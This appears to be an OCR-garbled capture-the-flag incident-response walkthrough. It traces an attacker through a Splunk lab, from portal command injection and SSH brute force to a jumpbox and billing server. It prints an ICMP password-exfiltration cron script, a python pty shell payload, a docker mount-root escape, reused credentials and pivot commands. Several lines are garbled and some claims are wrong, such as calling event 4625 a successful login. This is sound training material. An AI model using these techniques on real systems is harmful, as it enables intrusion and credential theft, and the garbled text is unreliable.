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Background: Your company Telesecure sufferd a cyber attack. Logs from all critical
systems are forwarded to Splunk. An alert was triggered indicating abnormal behavior on
the portal. Your task is to investigate the incident and identify how the attacker moved
through the environment.Access the siem splunk here with creds

user: admin pass: Pessword12 and answer the following question.

Stage 1: Initial Access (Customer Portal)

Q1. The attacker exploited a vulnerable web parameter to gain access.

¢ Flag 1: What parameter was exploited on the portal for command injection?
Answer: command injection

“index="*" host=customer_portal

i Time Event

> 5/23/24 2024-05-23T09:17:12+00:00 sshd[1890]: Failed password for artisan from 172.191.38.100

9:17:12.000 AM host = customer_portal source = /var/log/customer_portal/auth.log sourcetype = customer_portal3

> 5/23/24 2024-05-23709:16:30+00:00 node-app[1782]: GET /check-status?phone=python3%20-c%20%27import%2@pty;pty.spawn(%22/bi
9:16:30.000 AM  n/bash%22)%27 2%

host = customer_portal source = /var/log/customer_portal/node-app.log sourcetype = customer_portal

> 5/23/24 2024-05-23T709:16:05+00:00 node-app[1782]:|GET /check-status?phone=id 200 45 - "cur]/7.68.8"
9:16:05.000 AM host = customer_portal source = /var/log/clle R e == stomer_portal
> 5/23/24 2024-05-23T09:16:05+00: 00 node-app[1782]: GET /check-status?phone=id 200 45 - "curl/7.68.0"

9:16:05.000 AM host = customer_portal source = /var/log/customer_portal/node-app.log sourcetype = customer_portal

so here they can login to the server.
The first thing to do is to understand what is running on the server. more specifically how
and where the webpodal is running.

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
© 127.0.0.53:53 0.0.0.0:% LISTEN 920/systemd-resolve
0 0.0.0.0:22 0.0.0.0:* LISTEN 1331/sshd

tcp 0 00.0.0.0:3000 0.0.0.0:x LISTEN 4068/node |

268 19,75 1 472z 192.06.9. 11172954 ESTABLISHED 4766/ ssid: labuser

1 10.75.1.4:50654 172.200.176.121:9997 SYN_SENT 1509/splunkd

0 :::22
root@customer—portal-2119: /home/labuser#

* LISTEN 1331/sshd

From there they can comfirm that may be a node app is running. but to confirm well we

can also run this,

root@customer-portal-2119: /home/labuser# sudo lsof -i :3000
OMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE_NAME
ode 4068 root 19u IPvd 32799 0te TC? *:3000 (LISTEN)

root@customer-portal-2119: /home/labuserf#f ps aux | grep node

SL__13:42 _0:0pP node test.js |

S+ 14:09 0:00 yicp CULUI=auco



https://ucc-splunk.duckdns.org:8001/

from the above one can understand there is a node js app running and maybe be indexed
by test.js file. to further confirm that we can run the ip in the browser on that port and see.

« C O &Nocfecure ttp-//172.190.143.200:3000 I A @ 9 =
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Check Phone Status

Phone Number

e.g., +256123456789

To answer the question we can either test the app or we can analyse the code in www
directory to discover the exploited vulnerability.

What’s Vulnerable?
This block:

// Vulnerable: Execute invalid phone input as a command exec(phone, (error,
stdout, stderr) => {°

If the user submits a phone number that fails the regex (e.g. not +256XXXXXXXXX ), you're
passing their input directly to the OS shell via exec() .
EXEC{_DHDHE I {_El"l"ﬂl", stdout ; stderr) => {
if (error) f{
return res.status(o00).json(1
error: "Command execution failed",

message: stderr

Exploit Example

An attacker could request:

GET /check-status?phone=whoamsi

* Q: What parameter was exploited? — phone



* Vulnerability? — Command Injection using exec()

» Fix? — Remove the exec(phone) logic. Validate and reject bad input instead.

commander

Q2. Determine if remote code execution was successful. ¢
Flag 2: What command did the attacker execute first to confirm the vulnerability?

answr: 1id
“index="*" host=customer_portal GET

~ Format ~ Show: 20 Per Page ¥ View: List v
i Time Event
> 5/23/24 2024-05-23T09:16:30+00:00 node-app[1782]: GET /check-status?phone=pythor3%20-c%20%27import%20pty;pty.spawn(%22/b

9:16:30.000 AM n/bash%22)%27 2%

host = customer_portal source = /var/log/fustomer_portal/node-app.log sofrcetype = customer_portal
> 5/23/24 2024-05-23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 204 45 - "curl/7.68.0"
9:16:05.000 AM host = customer_portal source = /var/log/fustomer_portal/node-app.log sofrcetype = customer_portal

> 5/23/24 2024-05-23T09:16:05+00:00 node-app[1782]: GET /ched«status?@ 45 - "curl/7.68.0"

9:16:05.000 AM host = customer_portal source = /var/log/fustomer_portal/node-app.log sofrcetype = customer_portal

> 5/23/24 2024-05-23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 204 45 - "curl/7.68.0"
9:16:05.000 AM host = customer_portal source = /var/log/fustomer_portal/node-app.log sofrcetype = customer_portal

> 5/23/24 2024-05-23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 20 45 - "curl/7.68.0"

9:16:05.000 AM host = customer_portal source = /var/log/fustomer_portal/node-app.log sofrcetype = customer_portal

> 5/23/24 2024-05-23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 204 45 - "curl/7.68.0"

9:16:05.000 AM host = customer_portal source = /var/log/fustomer_portal/node-app.log sofrcetype = customer_portal

> 5/23/24 2024-05-23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 20 45 - "curl/7.68.0"
9:16:05.000 AM

host = customer_portal source = /var/log/customer_portal/node-ap’ »ortal

Still one can analyze the application logs in /var/log/node-app.log

root@customer—portal-2119:/home/labuser# grep "Command executed"

2024-05-23T09:16:05+00:00 node-app[1782]: : id

2024-05-23T09:16:30+00:00 node-app[1782]: GET /check—statussphone=python3%20-c%20%27import%20pty;pty.spawn(%22/bin/bash%22)%27 2$202u
-05-23T09:16:30+00:00 node—app[1782]: : python3 —c 'import pty;pty.spawn("/bin/bash")"'
root@customer-portal-2119:/home/labuser#

or they see a get request.

root@customer-portal-2119: /home/labuser# cat /var/loa/node-app.log | tail

ano 2.9.3 node-app. log Modified
2024-05-23T09:15:42+00:00 firewall kernel: [UFW BLOCK] IN=eth® OUT= MAC=00:11:22:33:44:55 SRC=172.191.38.100 DST=172.191.38.191 $2024
-05-23T09:15:43+00:00 firewall kernel: [UFW _ALLOW] IN=eth@ OUT= MAC=00:11:22:3 :55 SRC=172.191.38.160 DST=172.191.38.191 $2B2’4—95—
23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 200 45 - "curl/7.68.0"

2024-05-23T09:16:05+00:00 node-appLi1762]: Command executed: id

2024-05-23T09:16:05+00:00 node-app[1782]: Output: uid=1001(artisan) gid=1001(flaguser) groups=1001(flaguser),1002(artisan)
2024-05-23T09:16:30+00:00 node-app[1782]: GET /check-status?phone=python3%20-c%20%27import%20pty;pty.spawn(%22/bin/bash%22)%27 2$2024

-05-23T09:16:30+00: 00 node-app[1782]: Command executed: python3 -c 'import pty;pty.spawn("/bin/bash")'

2024-05-23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 200 45 - "curl/7.68.0"
root@customer—-portal-2119: /home/labuser#

Brute

Q3. The attacker tried to brute force an authentication service.
< Flag 3: What service was it?
answ: ssh



index="*x" host=customer_portal 172.191.38.100

index="+" hos

stomer_portal 172.131.38.100

~ 61 events

Events(61)  Pattems  Statistics  Visualization

< Hide Fields = All Fields g | = Event

> 52324 3709:18:16+0) ssword for artisan fron 172.191.38ff100 portz2
91816000 AM st~ customer_portal er_portal/auth log = custome] portai2

> 52324 2024-05-23T09:18: 16+0 ord for art 2.191.38]100 port22
91816000 AM gt = customer_portal er_portal/auth log = custome] portal3

> 52324 word for ar b port 22
84742000 AM er_portal/auth.log portal2

> 52324 word for artis: b port 22
AP AETOAL er_portal/auth.log portal3

> 52324 word for ar 8.1¢0 port 22
911712.000 AM er_portal/auth.log portal2

> 52324 d for artis: b port 22
APAREEOA er_portal/auth.log portal3

> 52324 word for ar b port 22
21712000 AM er_portal/auth.log portal2

> 52324 d for artis b port 22
EATAREIDLL er_portal/auth.log portal3

+Extract New Fields > 52324 word for artisa 8.14p port 22
1742000 AM er_portal/auth.log portal2

> 52324 word for artis: b port 22
AP AETOAL er_portal/auth.log portal3

> 52324 word for artisan from 172.191.38.14p port 22

Analysing auth.log we see alot of bruteforce on user artisan and the service is ssh which
runs on port 22.

root@customer portal 2119: /home/labuser# sudo grep -i "failed password" /var/log/auth.log | grep artisan
EW] :29: prod-customer-portal sshd[29080]: Failed password for from 102.86.7. port 2561 ssh2
May :29: prod-customer-portal sshd[29076]: Failed password for from 102.86.7. port 2513 ssh2
EW] :29: prod-customer-portal sshd[29078]: Failed password for from 102.86.7. port 2350 ssh2
EW] :29: prod-customer-portal sshd[29079]: Failed password for from 102.86.7. port 8808 ssh2
EW] :29: prod-customer-portal sshd[29083]: Failed password for from 102.86.7. port 8586 ssh2
EW] :29: prod-customer-portal sshd[29082]: Failed password for from 102.86.7. port 13143 ssh2
May :29: prod-customer-portal sshd[29081]: Failed password for from 102.86.7. port 4865 ssh2
EW] :29: prod-customer-portal sshd[29084]: Failed password for from 102.86.7. port 4201 ssh2
2024-05- 23TG9: :12+00: sshc [1890]: Failed password for from .191.38.100
2024-05-23T709:17:12+00: sshc [1890]: Failed password for from .191.38.1600
2024-05-23T09:17:12+00: sshc[1890]: Failed password for from .191.38.100
2024-05-23T09:17:12+00: sshc[1890]: Failed password for from .191.38.100
2024-05-23T709:17:12+00: sshc[1890]: Failed password for from .191.38.100
2024-05-23T709:17:12+00: sshc [1890]: Failed password for from .191.38.100
2024-05-23T709:17:12+00: sshc [1890]: Failed password for from .191.38.1600
2024-05-23T09:17:12+00: sshc[1890]: Failed password for from .191.38.100
2024-05-23T09:17:12+00: sshc[1890]: Failed password for from .191.38.160
2024-05-23T709:17:12+00: sshc[1890]: Failed password for from .191.38.100
2024-05-23T709:17:12+00: ssh¢ [1890]: Failed password for from .191.38.100

we can also comfirm that by running this command. if we are to filter out authentocation
for only available users on the server.

grep "Failed password" /var/log/auth.log | \

> sed -n 's/.*xFailed password for \(invalid user \)\{0,1\}\([” 1*x\) from [~
Ix port [* 1x \(ssh2\).x/\2 \3/p"' | \

> grep -E 'A(artisan|root) ' | \

> sort | uniq -c | sort -nr

result:

root@customer—porta og og
> sed -n 's/.*Failed password for \(1nva11d user \)\{0, I\}\C[* 1*\) from [* ]* port [* 1* \(ssh2\).*/\2 \3/p' | \
> grep -E '"(artisan|root) ' | \
> sort | uniq -c | sort -nr
15304 root ssh2
8 artisan ssh2

rdetlouc »+21-2119: /home/labuser#




we can also comfirm that here.

grep "Failed password" /var/log/auth.log | \
sed -n 's/.xFailed password for \(invalid user \)\{0,I\}\([” 1x\) from [~ ]*
port [* Ix \(ssh2\).x/\2 \3/p' | \

sort | unig -c | sort -nr

root@customer-portal-2119:/home/labuser# grep "Failed password" /var/log/auth.log
> sel rd for \(invalid user \)\{0,1\}I\([* 1*\) from.*/\2/p

I\
\

266 ubuntu
263 oracle

61 gitlab
60 steam
57 wnw

57 wang
57 esuser
55 app

Identify the ip that tried to bruteforce an authentication service and the the username
targeted.

answer-format:ip:user

same filter as the above will reveal the answer.

index="*" host=customer_portal ssh

To answer this we need to first understand that three users are on the system.i.e artisan
and labuser,azureuser plus the root.

we can first analyze all accepted password logs to understand the account activity.
we shall run this command.

grep "Accepted password for" /var/log/auth.log | \
sed -n 's/.*Accepted password for \([” ]*\) from \([* ]1*x\) port [~ ]x
ssh2.x/\2:\1/p"' | \

sort | uniq -c | sort -nr



root@customer—portal-2119:/home/labuser# grep "Accepted password for" /var/log/auth.log |
> sed -n 's/.*Accepted password for \([* I*\) from \([" I*\) port [~ I* ssh2.x/\2:\1/p' |
> sort | uniq -c¢ | sort -nr

102.215.111.41:azureuser

102.86.7.22:azureuser

41.210.159.47:azureuser

197.239.8.80:azureuser

41.216.147.225: azureuser

197.239.11.45: azureuser

197.239.13.68:azureuser

41.210.159.74:azureuser

41.210.147.242: azureuser

34.38.25.81:azureuser

197.239.6.205: azureuser

197.239.15.39:azureuser

197.239.13.51:azureuser

102.86.9.111: labuser

102.86.7.22:artisan

102.86.1.184:azureuser

root@customer—-portal-2119:/home/labusert

\
\

6
5
i}
i}
3
3
2
1
1
1
1
1
1
1
1
1

we can then narrow the filter to the users and see their invalid authentication activity.

We can tell that user root has its authentication fails scatered and azure user too given
the time stamps. but the suspicios time stamps for user artisan which is same time range
gives us a thinking it was a bruteforce given the same ip and same time stamp of access.

grep "Failed password" /var/log/auth.log | sed -n 's/A\(\w\+ \+[0-9]\+ [0-
9:]\+\) .*Failed password for \(invalid user \)\{0,1\}\([* ]*\) from \([?
1x\) port \([?* 1*x\) ssh2.x/\1 \4:\3 protocol:ssh2 port:\5/p' | grep -E ':
(artisan|root|labuser|azureuser) '
root@customer-portal-2119: /home/labuser# grep "Failed password"
/var/log/auth.log | sed -n 's/A\(\w\+ \+[0-9]\+ [0-9:]\+\).*xFailed password
for \(invalid user \)\{0,I\}\([* 1*\) from \([* 1x\) port \([" ]1x\)
ssh2.x/\1 \4:\3 protocol:ssh2 port:\5/p' | grep -E ':

(artisan|labuser|azureuser) '

command-

May 22 21:34:37 103.93.37.178 protocol:ssh2 port:u4e174
31 80.94.95.115 protocol:ssh2 port:60672
24 105.28.32.194 protocol:ssh2 port:U46966
07 45.115.173.11 protocol:ssh2 port:37332
57 196.251.90.120:1 protocol:ssh2 port:55884
36 185.156.73.233:1 protocol:ssh2 port
.124.237:x protocol:ssh2 port:53
.10.91 protocol:ssh2 por
.10.91
.10.91 protocol:ssh2 por
.10.91 protocol:ssh2 port:us:
. protocol:ssh2 port:u46751
51 111.70.7.105 protocol:ssh2 port:35041
185.156.73.233:1 protocol:ssh2 port:29020
protocol:ssh2 port:3715
protocol:ssh2 port:3715
47 80.94.95.15:1 protocol:ssh2 port:3715
18 111.28.128.154:1 protocol:ssh2 port:37963
4y 218.98.160.117: protocol:ssh2 port:63062
16 102.86.1.184 protocol:ssh2 port:1889
:44:28 47.108.168.70 protocol:ssh2 port:55956
root@customer-portal-2119: /home/labuser# "C
root@customer-portal-2119: /home/labuser# grep "Failed password" /var/log/auth.log | sed -n 's/"\(\w\+ \+[0-91\+ [8-9:]1\+\).*Failed password for \(invalid
er \)\{0,1\}I\([* 1*\) from \([* 1*\) port \([" 1*\) ssh2.%/\1 \U4:\3 protocol:ssh2 port:\5/p' | grep -E ':(artisan|root|labuser|azureuser) '
root@customer-portal-2119: /home/labuser# grep "Failed password" /var/log/auth.log | sed —n 's/"\(\w\+ \+[0-91\+ [8-9:]1\+\).*Failed password for \(invalid
I\~ 1%\) from \([* 1#\) port \([* 1#\) ssh2.%/\1 \U:\3 protocol:ssh2 port:\5/p' | grep -E ':(artisan|labuser|azureuser) '
7]174.138.54.122 protocol:ssh2 port:37434
196.251.84.225 protocol:ssh2 port:60530
r protocol:ssh2 port:8274
1 protocol:ssh2 port:2561
protocol:ssh2 port:2513
1 protocol:ssh2 port:2350
1 protocol:ssh2 port:8808
protocol:ssh2 port
1 protocol:ssh2 port:13143
| protocol:ssh2 port:4865
1 protocol:ssh2 port:4201
82.215.111.41 protocol:ssh2 port:60488
64.225.22.2041: azur r protocol:ssh2 port:40832
197.239.8.80 protocol:ssh2 port:9764
197.239.8.80 protocol:ssh2 port:3926
8] 165.227.68.18: azw r protocol:ssh2 port:57596
197.239.11.45:azu r protocol:ssh2 port:128
138.197.115.130 r protocol:ssh2 port:3u662
: 10 1.184 protocol:ssh2 port:1889
FOOCUCUSToNer=portal-2119: /home/labuseri

to validate that we can now filter the successful login. filter by Accepted password



grep "Accepted password for" /var/log/auth.log | \
sed -n
\([” 1*\) port \([” 1x\) ssh2.%x/\1 \3:\2 protocol:ssh2 port:\4/p'

grep —-E ':

|\

(artisan|root|labuser|azureuser) '

below

Toot@custom orta me/ Labusers gr ailed pa s ) )
er \)\’B 1\}\([” ]*\) From \([A 1*\) port \([" 1%\) sshl */\1 \UH \3 pxotocol ssh2 port:\5/p' | grep -E (altlsanlxootllabusel]azuzeusez)
root@customer-portal-2119: /home/labuser# grep "Failed password" /var/log/auth.log | sed -n 's/* JCMe \+[0°9T\s [8-9:1\+1). sFaited password for \(invalid us
er \)\JB 1\1\([" 1%\) from \([* 1%\) port \([* 1*\) ssh2.%x/\1 \4:\3 protocol:ssh2 port:\5/p' | grep -E ':(artisan|labuser|azureuser) '
7 174.138.54.122 protocol:ssh2 port:37434
196.251.84.225 protocol:ssh2 port:60530
102.86.7. protocol:ssh2 port:8274
:ssh2
:ssh2
:ssh2
:ssh2
:ssh2
:ssh2
:ssh2 p
:ssh2 port:4201
Fngo—ons—tan protocol:ssh2 port:60uU88
64.225.22.201 protocol:ssh2 por
197.239.8.80
197.239.8.80

"'s/AM\ (\w\+ \+[0-9]\+ [0-9:]\+\).*Accepted password for \([* ]*\) from

165.227.68.18

197.239.11.45

138.197.115.130
22: 102.86.1.184

portal-2119:/home/labuser# grep "Accepted password for"
's/"\(\w\+ \+[0-9]1\+ [0-9:]\+\).*Accepted password for \([* I*\) from \([* 1*\) port \([" 1*\) ssh2.%/\1 \3:\2 protocol:ssh2 port:\u/p' | \

> sed -n

protocol:ssh2 port:57596
protocol:ssh2 port:128
protocol:ssh2 port:34662
protocol:ssh2 port:1889
/var/log/auth.log | \

artisan|root|labuser|azureuser) '

u1.
u1.

210.159.47
210.159.47

protocol:
protocol:

ssh2
ssh2

port:4593

41.210.159.47
41.210.159.47
.38.25.81

.239.13.68
.86.7.22
.86.7.22
.215.111.41
.215.111.

protocol:ssh2
protocol:ssh2 p

protocol:ssh2 port:u47230
protocol:ssh2 port:3u87

protocol:ssh2 port:u4154

protocol:ssh2 port:8274
protocol:ssh2 port:u44362
protocol:ssh2 port:45042
A ssh2 port:7221

“ssh2 port:60488
protocol:ssh2 port:857
protocol:ssh2 port:u717
protocol:ssh2 port:1042
protocol:ssh2 port:906
protocol:ssh2 port:785

from the above screenshot we can tell the successful login was in the same time stamp

as the failed one for user artisan and the ip is the same.
so the ip and the user can be seen.

Jumper

Q4. The attacker found SSH credentials, that they used to access the jumpbox gateway:

The attacker added a user to a wierd group
¢ Flag 4: what group is it?

answer docker

index="*" host="prod-jumpbox"

index="#" host="prod-jumpbox" sh

sh

28 events (before 5/28/25 8:01:52.000 PM) No Even
Events (28) Patterns Statistics Visualization
ST — Zoom Out
# Format ~ 20 PerPage ~ M
< Hide Fields = All Fields e =

SELECTED FIELDS
a host 1
a source 3

un -v /:/mnt --rm -it alpine chroot /mnt sh
cat /etc/passwd

So we can first understand what is running on the customer portal since teh gn says



attacker got jumpbox credentials.Look for anything like:

« Python scripts
» Curl/wget fetching remote files
e Long-running ssh or bash commands

ps aux | grep -vE "A\s*USER" | grep -vE "sshd|bash|ps|grep"

1322
1329
1330
1509
1724
1849
2081
nder_systemd [proces
1068
4799
4800
4815
5072
5073
6762
7620
8761
8971
8972
9017
2023
9024
92068
2069
9094
2097
9098 0. .
root@customer-portal-21

16420 2408 ttySe
14896 1924 ttyl
288884 6616 ?
412596 170172 ?
4516 792 ?
461408 32228 ?
146576 17u80 ?
s—runner]
1.3 603808 53224 7
1 76660 7620 ?
0 193932 2748 ?
[¢] [ [¢]
1 68300 4400
@ 63476 3700
[¢] [ [¢]
[¢] 0 [¢]
[¢] [ [¢]
.0 59232 3136
.0 4636 780
[¢]
[¢]
[¢]
[¢]
[¢]
(¢]
[¢]
[¢]
1

/sbin/agetty -o -p -- \u --keep-baud 115200,38u0
/sbin/agetty -0 -p —— \u -—noclear ttyl linux
J/usr/lib/policykit-1/polkitd --no-debug

splunkd —--under-systemd —-systemd-delegate=no —p
bpfilter_umh

python3 -u bin/WALinuxAgent-2.13.1.1-py3.9.egg -
[splunkd pid=1509] splunkd --under-systemd --sys

[cNoNoNcNoRoNol

[%]
—

node test.js

/lib/systemd/systemd --user

(sd-pam)

[kworker/0:0-eve]

sudo su

su

[kworker/ul:0-ev]

[kworker/0:1]

[kworker/ul-2—evl

/usr/sbin/CRON —f

/biu/:h =C /upL/:Lripts/jumpbox—sync.sh
[kworker/ul:1-ev]

Jastysuin/ CRON

/bin/sh -c /opt/scripts/jumpbox-sync.sh
Iuer/chin/CBON_—f

/bin/sh -c /opt/scripts/jumpbox-sync.sh
ping —¢ 1 -s 51 10.10.10.5

ping -¢ 1 -s 103 10.10.10.5

sleep 3

w0
wn

-~

[0 [¢]

59232 3136

4636 816

59232 3136

4636 868

16852 1116

16852 1228
7932 788 ?

9: /home/labuser#

[cRoNoNoRcRcRoNoNcRoNoNoNoNoNoNoNoNoN-oNoNoNoNoNoNol
[cNcNoNoNoNoNcNoNoNoNoNoNoNoNoNoNoNoN-N o ol -—NolaNol
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[©]
0
[©]
0
0
e
0
[©]
0
[©]
0
0
e
0
[©]
0
[©]
0
2

From the output we can see some scripts running or cronjobs. we can analyse them and
see.

for user in $(cut -fl -d: /etc/passwd); do crontab -u $user -1 2>/dev/null;

done

we have found out that every minute, the script /opt/scripts/jumpbox-sync.sh is
executed.

Multiple instances show it's being run regularly — this is the mechanism used to maintain
persistence or possibly automate SSH access to the jumpbox.

root@customer—portal-2119: /home/labuser#| for user in $(cut —f1 —d: /etc/passwd); do crontab -u $user -L 2>/dev/null; done
Edit this file to introduce tasks to bc ks -

Each task to run has to be defined through a single line
indicating with different fields when the task will be run
and what command to run for the task

To define the time you can provide concrete values for

minute (m), hour (h), day of month (dom), month (mon),

and day of week (dow) or use '*' in these fields (for 'any').#
Notice that tasks will be started based on the cron's system
daemon's notion of time and timezones.

Output of the crontab jobs (including errors) is sent through

email to the user the crontab file belongs to (unless redirected).

For example, you can run a backup of all your user accounts
at 5 a.m every week with:
® 5 % % 1 tar -zcf /var/backups/home.tgz /home/

For more information see the manual pages of crontab(5) and cron(8)

THHEHAHEHAEHEHEHAEHEETHEEEHEEETEE S

b e e dlem e
*/1 * * * x Jopt/scripts/jumpbox-sync.sh
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Why This Matters

The question said:

“The attacker found SSH credentials, that they used to access the
jumpbox gateway.”
Now it makes sense:

e The script is running on the customer portal
« It likely contains the SSH logic to reach the jumpbox
» Probably automated to maintain persistence or relay something to/from the jumpbox

Opening the sh file.

We've confirmed a stealthy credential exfiltration script.
This is highly malicious and clearly part of the attacker's persistence and data exfiltration
setup.

Suspicious: The attacker is sourcing a hidden .env file** (likely contains
JUMPBOX_PASS = SSH password). This is where the stolen credentials reside.

Exfiltration Method 1: ICMP Ping Tunnel

for ((i=0; i<${#JUMPBOX_PASS}; i++)); do
HEX=S$ (printf "%02x" "'${JUMPBOX_PASS:$i:1}")
ping -c¢ 1 -s $((Ox$HEX)) 10.10.10.5 >/dev/null 2>&1
sleep $((RANDOM%3+1))

done

@® Malicious Behavior:

« |t converts each character of the SSH password into its hex ASCII code.

« Then sends a ping packet with that character as the size to 10.10.10.5 (the
attacker-controlled jumpbox).

» Slow trickle to evade detection and blend with normal network noise.

Exfiltration Method 2 (Fallback/Redundant):
echo "S$S{JUMPBOX_PASS:0:4} REDACTED" > /dev/shm/.netconf

® Memory-Based Persistence:

» Writes a partial password to a temporary memory location ( /dev/shm/ ) — avoids
touching disk logs.



» Possibly used by another local tool or reverse shell.

Cleanup + Obfuscation

echo "rm -f /dev/shm/.netconf" | at now + 1 hour

Automatically deletes the file in 1 hour using the at scheduler to erase evidence.
logger -t "network-monitor" "Completed connectivity check to jumpbox"
iz Fakes alog line to look legitimate in syslog — trying to camouflage the operation
as routine network monitoring.

This Confirms:

« The attacker planted credentials or found them, stored them in .env, and is leaking
them via ICMP.
e The jumpbox at 10.10.10.5 is the receiver.

« There's a cronjob every minute to run this.
-## What You Should Do Next

1. Stop the Cronjob

crontab -e \ # Remove the line: # /1 * * * Jopt/scripts/jumpbox-sync.sh’
“rm -f Jopt/scripts/jumpbox-sync.sh /opt/scripts/.env

root@customer-portal-2119: abuser# cat /opt/scripts/jumpbox-sync.s
#!/bin/bash

# Set PATH for cron compatibility
PATH=/usr/local/sbin: /usr/local/bin: /usr/sbin: /usr/bin:/sbin:/bin

# Source credentials (fail silently if missing)
source /opt/scripts/.env 2>/dev/null || exit @

# Leak Method 1: ICMP Exfiltration (Primary)
for ((i=0; i<${#JUMPBOX_PASS}; i++)); do
HEX=$(printf "%@2x" "'${JUMPBOX_PASS:$i:1}")
ping —¢ 1 -s $((Ox$HEX)) 10.10.10.5 >/dev/null 2>&1
sleep $((RANDOM%3+1)) # Random delay 1-3 seconds
done

# Leak Method 2: Local Cache (Fallback)
echo "${JUMPBOX_PASS:0:4}_REDACTED" > /dev/shm/.netconf 2>/dev/null

# Cleanup
echo "rm -f /dev/shm/.netconf" | at now + 1 hour 2>/dev/null

# Legitimate-looking log entry
logger -t "network-monitor" "Completed connectivity check to jumpbox"
root@customer-portal-2119: /home/labuseri

We can even look at the .env

cat /opt/scripts/.env



root@customer—-portal-2119: /home/labuser# cat /opt/scripts/.env
JUMPBOX_USER=ashu

JUMPBOX_HOST=10.10.10.5

JUMPBOX_PASS="kingJulianl23'

root@customer-portal-2119: /home/labusert

Now lets use the credentials exfiltrated to login to the jumpbox(get the ip from the lab ips.
and boom they work.

9 er# cat /dev/shm/.*C
ro tracust mer poz‘tal I /hnme/labuse # cat /opt/scripts/.env
BOX

The authentlclty of host '10.75.2.4 (10. Blished.
ECDSA key fingerprint is SHA256: deUg/'TleCDXByJRoNxZH TJJckK/vvvXghlLT2c.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '10.75.2.4' (ECDSA) to the list of known hosts.
ashu@10.75.2.4's password:

Permission denied, please try again.

ashu@l10.75.2.4's password:

Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1109-azure x86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage

System information as of Tue Jun 3 15:35:25 UTC 2025

System load: 0.0 Processes: 117

Usage of /: 12.6% of 28.89GB  Users logged in: 0

Memory usage: 41% IP address for eth@: 10.75.2.4
Swap usage: 0% IP address for docker®: 172.17.0.1

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Infrastructure is not enabled.

5 updates can be applied immediately.
To see these additional updates run: apt list —-upgradable

172 additional security updates can be applied with ESM Infra.

Learn more about enabling ESM Infra service for Ubuntu 18.04 at
https://ubuntu.com/18-04

Last login: Sat May 17 19:48:06 2025 from 10.0.1.4
! ~$

So now lets answer the question of some user added to a wired group.

we can run grep -iE 'usermod|adduser|groupadd|docker' /var/log/auth.log

but unfortunately we dont see any log about that. but we check what groups user ashu is
in.

To our suprise user ashu is in docker group

$ groups
$

But why did the attacker do so0??

$ grep docker /etc/group
$

:x:116:ashu




Why an attacker would add a user to the Docker group:

1. Docker group = root-equivalent access
- The docker group grants the ability to run docker commands without sudo .
- Docker commands can be used to spawn containers with root privileges on the
host system or mount the host filesystem inside a container.
- This essentially gives the user full root access to the host machine, bypassing
normal Linux privilege restrictions.
So basically this to the advantage of the attacker to use docker as previldged access to
the system.
so if the attacker runs this

run -v /:/mnt --rm -it alpine chroot /mnt sh

They easily get root on the system

:~$ grep docker /etc/group

:x:116:ashu
:~$ docker run -v /:/mnt —-rm -it alpine
#

# whoami

root
#

Answer:docker

Spraying

Q6. The attacker tried to log into the billing_svr workstation computer using a bruteforce
attack but failed.

¢ Flag 6: Which event ID indicated this? e.g 4729

index="*" host="billing_srv" EventID=4625

‘answer: 4625



index="#" host="billing_srv"

1,000 events (before 5/28/25 8:06:05.000 PM)  No Event Sampling ~

Events 1000)  Patterns  Statistics  Visualization
#Timeline format ¥ —Zoom Out

# Format v Show: 20 PerPage~  View: List v
< Hide Fields = All Fields 4| um= Bt

> 502125 "4625", "prod-bill-srv","System.Byte[1","231997","(12544)", "12544", "FailureAudit”, "An account failed to log on.
9:13:47.000 AM

SELECTED FIELDS
a host 1

a source 1 EventlD x
a sourcetype 1

3 Values, 100% of events Selected | ves | No
INTERESTING FIELDS
Sourcetype = Billing-srvr
: zmg"’y; o2 Reports
ategoryNumber B e .
) Dmg‘ g Average overtime  Maximum value over time Minimum value over time | " PRI Ik, i B GEllsd (o 107 e
4 EntryType 2 Top values Top values by time Rare values
i £ ED Events with this field
-
# exracted.Int < Avg: 4625046 Min: 4624 Max: 4672 Std Dev: 148663852128344
4 extracted_Source 1
aindex 1
Vames T " = y
# Instanceld 3 | sourcetype = Billing-srvr
# linecount 3 4625 98 9.5% l4*,"Failuresudt®, "An account failed to log on.
a MachineName 1 2624 T 0.1%
+
a Message 100 o , o
a punct 1
a Replacementstrings 1 RECOURENEWET
a splunk_server 1 Show all 50 lines
4 TimeGenerated 100+ host = billing_srv | source = varllog/billing_logs/Securitylogs.csv | sourcetype = Billing-srvr
a timestamp 1
a TimeWritten 100+ > 52125 "4625", "prod-bill-srv", "Systen.Byte[ 1", "232000","(12544)", "12544" , "FailureAudit”, "An account failed to log on. ‘ / C

9:13:47.000 AM

HH#AI

We can now login to the billing server and answer this.

smbclient //10.76.1.7/BillingShare -U labuser%SecurePass@2025!

OR

Portforwarding

ssh -L 3390:Internal-ip:3389 labuser@customer-portalpublic-ip -t ssh -L
3390:1internal-ip:3389 labuser@jumboxip

eg ‘ssh -L 3390:10.179.1.4:3389 labuser@172.172.227.111 -t ssh -L
3390:10.179.1.4:3389 labuser@10.178.2.4
You're:

1. SSHing into the Customer Portal ( 172.172.227.111))
2. From there, you're SSHing into the Jumpbox ( 16.178.2.4)
3. Forwarding local port 3390 — 10.179.1.4:3389 (RDP port of the internal Windows

server)
Then from your local Windows machine, you're trying:

mstsc /v:localhost:3390


mailto:labuser@172.172.227.111
mailto:labuser@10.178.2.4

Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! httjEs

PS C:\Users\SPECTRE> mstsc /v:localhost:3390 w

PS C:\Users\SPECTRE>[mstsc /v:localhost:3390

PS C:\Users\SPECTRE> Recycle Bin
2]

Microsoft
Edge

Look for Event ID 4625 (successful login).

Use PowerShell or Event Viewer:

